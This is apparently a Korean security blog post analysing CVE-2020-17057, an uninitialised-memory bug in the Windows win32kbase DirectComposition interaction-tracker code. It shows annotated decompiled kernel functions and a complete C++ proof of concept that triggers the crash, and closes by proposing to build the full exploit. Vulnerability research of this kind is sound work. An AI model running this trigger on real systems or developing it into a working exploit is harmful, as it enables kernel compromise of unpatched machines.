360 vulcan 팀에서 리포팅한 취약점이다. 취약점 상세 내용은 팀 블로그를 읽어보자.
CInteractionTrackerMarshaler::SetBufferProperty
함수는 할당한 Win32AllocPoolWithQuota
함수를 통해 할당한 메모리를 초기화하지 않고 사용한다. SetBufferPropery 함수 내부에서 2개의 객체를 순서대로 처리하는 과정이 있다. 이때 초기화 되지 않은 메모리를 접근하면서 크래시가 발생한다.
__int64 __fastcall DirectComposition::CInteractionTrackerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerMarshaler *this, struct DirectComposition::CApplicationChannel *resInfo, int subCmd, const int *dataBuffer, unsigned __int64 Size, bool *out)
{
bool *v6; // r13
int ret; // edi
int _subCmd; // er8
int v12; // er8
int v13; // er8
int v14; // er8
int v15; // er8
int v16; // er8
_QWORD *v17; // rsi
unsigned int v18; // ebp
int v19; // eax
unsigned int v20; // esi
void *v21; // rax
__int64 v22; // rcx
unsigned __int64 count; // r12
__int64 alloc_pool; // rax
int v25; // ecx
unsigned int idx; // er13
int resource_id1; // ecx
unsigned __int64 index; // rdx
__int64 resource1; // rbp
__int64 v30; // rcx
int resource_id2; // eax
unsigned __int64 index2; // rdx
__int64 resource2; // rbp
__int64 v34; // rcx
__int64 Src; // [rsp+20h] [rbp-38h] BYREF
int v37; // [rsp+28h] [rbp-30h]
v6 = out;
ret = 0;
*out = 0;
_subCmd = subCmd - 0x15;
if ( !_subCmd )
{
if ( !dataBuffer && *(this + 90) )
{
(DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences)(this, resInfo);
*out = 1;
*(this + 4) &= 0xFFFFF7FF;
return ret;
}
(DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences)(this, resInfo);
count = Size >> 3;
if ( (Size >> 3) )
{
alloc_pool = Win32AllocPoolWithQuota(16i64 * count, 1919501124i64);
v25 = 0;
*(this + 0x2C) = alloc_pool; // 할당한 메모리 주소 저장
if ( !alloc_pool )
v25 = 0xC0000017;
ret = v25;
if ( v25 < 0 )
{
LABEL_54:
if ( ret >= 0 )
return ret;
goto LABEL_55;
}
idx = 0;
do // 2개의 리소스를 처리하는 루프
{
if ( idx >= count )
break;
resource_id1 = dataBuffer[2 * idx]; // dataBuffer에서 resource_id1을 가져온다
index = (resource_id1 - 1);
if ( resource_id1 && index < *(resInfo + 10) )// *(resInfo + 10) == resourceid_max
{
_mm_lfence();
resource1 = *(index * *(resInfo + 11) + *(resInfo + 7));//
// get resource from resource table according to resource handle
// resource1 = index * resinfo->entry_size + resinfo->resource_list
}
else
{
resource1 = 0i64;
}
if ( resource1 && (*(*resource1 + 96i64))(resource1, 0x67i64) )// resource1의 타입이 0x67인지 확인한다
{
*(*(this + 0x2C) + 16i64 * idx) = resource1;// 0x67 타입이 맞는 경우 해당 리소스를 위에서 할당한 메모리에 저장한다
v30 = *(*(this + 0x2C) + 16i64 * idx);// DirectComposition::CResourceMarshaler::AddRef(*(*(this + 0x2C) + 16i64 * v30));
++*(v30 + 20);
++*(this + 90);
}
else
{
ret = 0xC000000D;
}
if ( ret >= 0 )
{
resource_id2 = dataBuffer[2 * idx + 1];// dataBuffer에서 resource_id2를 가져온다
if ( resource_id2 )
{
index2 = (resource_id2 - 1);
if ( index2 >= *(resInfo + 10) ) // *(resInfo + 10) == resourceid_max
{
resource2 = 0i64;
}
else
{
_mm_lfence();
resource2 = *(index2 * *(resInfo + 11) + *(resInfo + 7));// get resource from resource table according to resource handle
}
if ( resource2 && (*(*resource2 + 96i64))(resource2, 87i64) )
{
*(*(this + 0x2C) + 16i64 * idx + 8) = resource2;
v34 = *(*(this + 0x2C) + 16i64 * idx + 8);// DirectComposition::CResourceMarshaler::AddRef(*(*(this + 0x2C) + 16i64 * v34));
++*(v34 + 20);
}
else
{
ret = 0xC000000D; // resource2가 0x57 타입이 아닌 경우 이곳이 도착한다.
// resource2를 위에서 할당한 메모리에 저장하지 않는 상황이 생긴다.
// 할당한 메모리는 초기화 하지 않은 상태이므로 나중에 문제를 일으키게 된다. 따라서 아래와 같이 NULL값을 넣어줘야 한다.
//
// *(*(this + 0x2C) + 16i64 * idx + 8) = 0;
}
}
else
{
*(*(this + 44) + 16i64 * idx + 8) = 0i64;
}
}
++idx;
}
while ( ret >= 0 );
v6 = out;
if ( ret < 0 )
goto LABEL_55; // resource2가 0x57 타입이 아닌 경우 LABEL_55로 점프한다.
}
*v6 = 1;
*(this + 4) &= 0xFFFFF7FF;
goto LABEL_54;
}
v12 = _subCmd - 20;
if ( !v12 )
{
v20 = 0;
goto LABEL_19;
}
v13 = v12 - 1;
if ( !v13 )
{
v20 = 1;
goto LABEL_19;
}
v14 = v13 - 1;
if ( !v14 )
{
v20 = 3;
goto LABEL_19;
}
v15 = v14 - 1;
if ( !v15 )
{
v20 = 2;
LABEL_19:
if ( *(this + v20 + 33) )
{
(Win32FreePool)();
*(this + v20 + 33) = 0i64;
}
v21 = Win32AllocPoolWithQuotaZInit(Size);
*(this + v20 + 33) = v21;
if ( v21 )
{
memmove(v21, dataBuffer, Size);
*(this + v20 + 37) = Size;
*(this + 4) &= ~DirectComposition::CInteractionTrackerMarshaler::GetInertiaModifierMarshalerFlag(v22, v20);
*out = 1;
return ret;
}
ret = -1073741801;
goto LABEL_55;
}
v16 = v15 - 21;
if ( v16 )
{
if ( v16 != 1 )
{
ret = -1073741811;
goto LABEL_54;
}
if ( Size == 36 )
{
*(this + 412) = *dataBuffer;
*(this + 428) = *(dataBuffer + 1);
*(this + 111) = dataBuffer[8];
*out = 1;
*(this + 4) &= 0xFEFFFFFF;
return ret;
}
goto LABEL_10;
}
if ( Size == 12 )
{
v17 = (this + 368);
v18 = *(this + 98);
v19 = dataBuffer[2];
Src = *dataBuffer;
v37 = v19;
ret = DirectComposition::CDCompDynamicArrayBase::Grow((this + 368), 1ui64, 0x72694344u);
if ( ret >= 0 )
{
memmove((*v17 + v17[4] * v18), &Src, v17[4]);
*out = 1;
}
goto LABEL_54;
}
LABEL_10:
ret = -1073741811;
LABEL_55:
if ( *(this + 44) ) // resource2가 0x57 타입이 아닌 에러 상황을 처리한다.
// ReleaseManipulationReferences 함수가 resource1, resource2를 릴리즈한다.
// resource2는 초기화되지 않은 값을 가지고 있는 상태이므로 크래시가 발생한다.
(DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences)(this, resInfo);
return ret;
}
resource2
가 0x57 타입이 아닌 경우는 에러 상황으로 처리해 goto LABEL_55
에 의해 CInteractionTrackerMarshaler::ReleaseManipulationReferences
함수로 진입한다. 이 함수안에서 초기화되지 않은 상태로 있던 메모리를 참조하면서 크래시가 발생한다.
void __fastcall DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences(DirectComposition::CInteractionTrackerMarshaler *this, struct DirectComposition::CApplicationChannel *a2)
{
__int64 v4; // rcx
unsigned int v5; // esi
v4 = *(this + 44);
if ( v4 )
{
v5 = 0;
if ( *(this + 90) )
{
do
{
DirectComposition::CApplicationChannel::ReleaseResource(a2, *(*(this + 0x2C) + 16i64 * v5));
DirectComposition::CApplicationChannel::ReleaseResource(a2, *(*(this + 0x2C) + 16i64 * v5++ + 8));// CRASH !
}
while ( v5 < *(this + 90) );
v4 = *(this + 44);
}
Win32FreePool(v4);
*(this + 44) = 0i64;
*(this + 90) = 0;
*(this + 91) = 0;
}
}
DirectComposition::CInteractionTrackerMarshaler::SetBufferProperty
함수를 호출하면서 type 0x67 and not type 0x57
조건만 맞춰주면 쉽게 재현해볼 수 있다.
// Windows 2004, win32kbase 10.0.19041.264
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
using namespace std;
typedef NTSTATUS(*pNtDCompositionCreateChannel)(
OUT PHANDLE pArgChannelHandle,
IN OUT PSIZE_T pArgSectionSize,
OUT PVOID* pArgSectionBaseMapInProcess
);
typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
IN HANDLE hChannel,
IN DWORD dwArgStart,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2
);
typedef NTSTATUS(*pNtDCompositionCommitChannel)(
IN HANDLE pArgChannelHandle,
OUT LPDWORD out1,
OUT LPBOOL out2,
IN BOOL in1,
IN HANDLE in2
);
pNtDCompositionCreateChannel NtDCompositionCreateChannel;
pNtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer;
pNtDCompositionCommitChannel NtDCompositionCommitChannel;
#define nCmdCreateResource 0x1
#define nCmdReleaseResource 0x3
#define nCmdSetBufferProperty 0xC
#define CInteractionTrackerMarshaler 0x58
#define SomeMarshaler1 0x67
#define SomeMarshaler2 0x56 // not 0x57
#define Tracker 1
#define SomeMarshaler1_ResourceID 2
#define SomeMarshaler2_ResourceID 3
int main()
{
cout << "CVE-2020-17057 Proof of Concept" << endl;
getchar();
LoadLibrary(L"user32.dll");
NTSTATUS status;
HMODULE win32u = LoadLibrary(L"win32u.dll");
NtDCompositionCreateChannel = (pNtDCompositionCreateChannel)GetProcAddress(win32u, "NtDCompositionCreateChannel");
NtDCompositionProcessChannelBatchBuffer = (pNtDCompositionProcessChannelBatchBuffer)GetProcAddress(win32u, "NtDCompositionProcessChannelBatchBuffer");
NtDCompositionCommitChannel = (pNtDCompositionCommitChannel)GetProcAddress(win32u, "NtDCompositionCommitChannel");
HANDLE hChannel;
PVOID pMappedAddress = NULL;
SIZE_T SectionSize = 0x4000;
DWORD dwArg1, dwArg2;
DWORD szBuff[0x400];
printf("Create New DirectComposition Channel\n");
status = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
if (!NT_SUCCESS(status)) {
printf("error, Fail to create DirectComposition Channel\n");
return -1;
}
printf("Create channel ok, channel(0x%x), SectionSize(0x%x), pMappedAddress(0x%x)\n", hChannel, SectionSize, pMappedAddress);
printf("Make TrackerMarshaler(resource type of 0x58)\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerMarshaler;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(status)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("Make SomeMarshaler1(resource type of 0x67)\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler1_ResourceID;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)SomeMarshaler1;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(status)) {
printf("error, fail to create Direct Composition Resource\n");
exit(-1);
}
printf("Make SomeMarshaler2(resource type of 0x56, not 0x57)\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler2_ResourceID;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)SomeMarshaler2;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(status)) {
printf("error, fail to create Direct Composition Resource\n");
exit(-1);
}
getchar();
// call TrackerMarshaler::SetBufferProperty
printf("[+] Trigger");
szBuff[0] = SomeMarshaler1_ResourceID;
szBuff[1] = SomeMarshaler2_ResourceID;
UINT subCmd = 0x15;
UINT datasize = 0xC;
*(DWORD*)pMappedAddress = nCmdSetBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = subCmd;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = datasize;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(status)) {
printf("error, NtDCompositionProcessChannelBatchBuffer\n");
exit(-1);
}
printf("[+] Release SomeMarshaler1\n");
*(DWORD*)(pMappedAddress) = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler1;
status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (!NT_SUCCESS(status)) {
printf("error, fail to release SomeMarshaler1\n");
exit(-1);
}
printf("[+] Release SomeMarshaler2\n");
*(DWORD*)(pMappedAddress) = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler2;
status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (!NT_SUCCESS(status)) {
printf("error, fail to release SomeMarshaler2\n");
exit(-1);
}
printf("[+] Release TrackerMarshaler\n");
*(DWORD*)(pMappedAddress) = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (!NT_SUCCESS(status)) {
printf("error, fail to release TrackerMarshaler\n");
exit(-1);
}
// end
DWORD out1;
BOOL out2;
BOOL in1 = FALSE;
NtDCompositionCommitChannel(hChannel, &out1, &out2, in1, NULL);
return 0;
}

360 분석 문서에서 익스플로잇 과정도 글로 설명해 놓았으니 코드로 구현해보자.